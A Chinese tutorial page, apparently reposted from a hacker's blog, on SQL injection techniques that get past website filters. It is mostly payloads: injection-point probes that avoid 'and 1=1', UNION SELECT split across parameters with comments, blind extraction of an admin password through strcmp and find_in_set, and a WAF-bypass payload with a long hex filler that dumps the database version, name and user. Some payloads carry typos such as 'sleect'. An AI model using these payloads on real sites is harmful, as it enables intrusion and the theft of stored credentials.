来源:自学PHP网 时间:2015-04-17 13:03 作者: 阅读:次
[导读] 现在一般来说判断一个网站是否有注入点。习惯性会用 rsquo;,and 1=1 ,and 1=2 但是知道这种肯定会被过滤首先说判断:但是我们还可以用null来判断:and 1 is null,and 1 is not null还有就是不一...
现在一般来说判断一个网站是否有注入点。习惯性会用 “’,and 1=1 ,and 1=2” 但是知道这种肯定会被过滤
首先说判断: 但是我们还可以用null来判断:and 1 is null,and 1 is not null 还有就是不一定非要用什么“=”,还可以使用:>= ,<= ,is null,is not null,<>等都可用于判断 比如这个: and 2<=3 接着说注入 对于注射取值,我们熟悉的就是union select 和盲注 先说Union Select 对于常规的注射,我们可以union select 1,2,3,4 或union/**/select/**/ 1,2,3,4 当然,在语句传递多个参数时 例如slect * from table where id = 1 and name = xxx ,我们可这么做: id=1+union/*&name=*/select+1,2 代入查询后slect * from table where id = 1 union /* and name = xxx */ select 1,2,3,4 下面说说盲注 www.2cto.com 一般方式ascii(substring(password,1,1))=xx,或者 ord(mid(password,1,1))=xx 我推荐大家还是用子查询 向大家推荐一些下面从一个博客看到的新型的手法: find_in_set 例: find_in_set(’56′,ascii(substr(password,1,1)))=1 strcmp 例:strcmp(left(‘password’,1), 0×56) = 1 将这些函数套如子查询就是: id =1+and+strcmp(substring((sleect+password+from+admin+limit+0,1),1,1),0×55)=1 false id =1+and+strcmp(substring((sleect+password+from+admin+limit+0,1),1,1),0×56)=0 true id =1+and+strcmp(substring((sleect+password+from+admin+limit+0,1),1,1),0×57)=-1 false 老外NB 方法 http://www.xxx.com/index.php?content=more_product&id=-17 and (select 1)=(select 0xAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAA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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA)+/*!union*/+select+1,concat_ws(0x7c,version(),database(),u ser()),3,4,5,6–+- 作者 XSnake's Blog |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com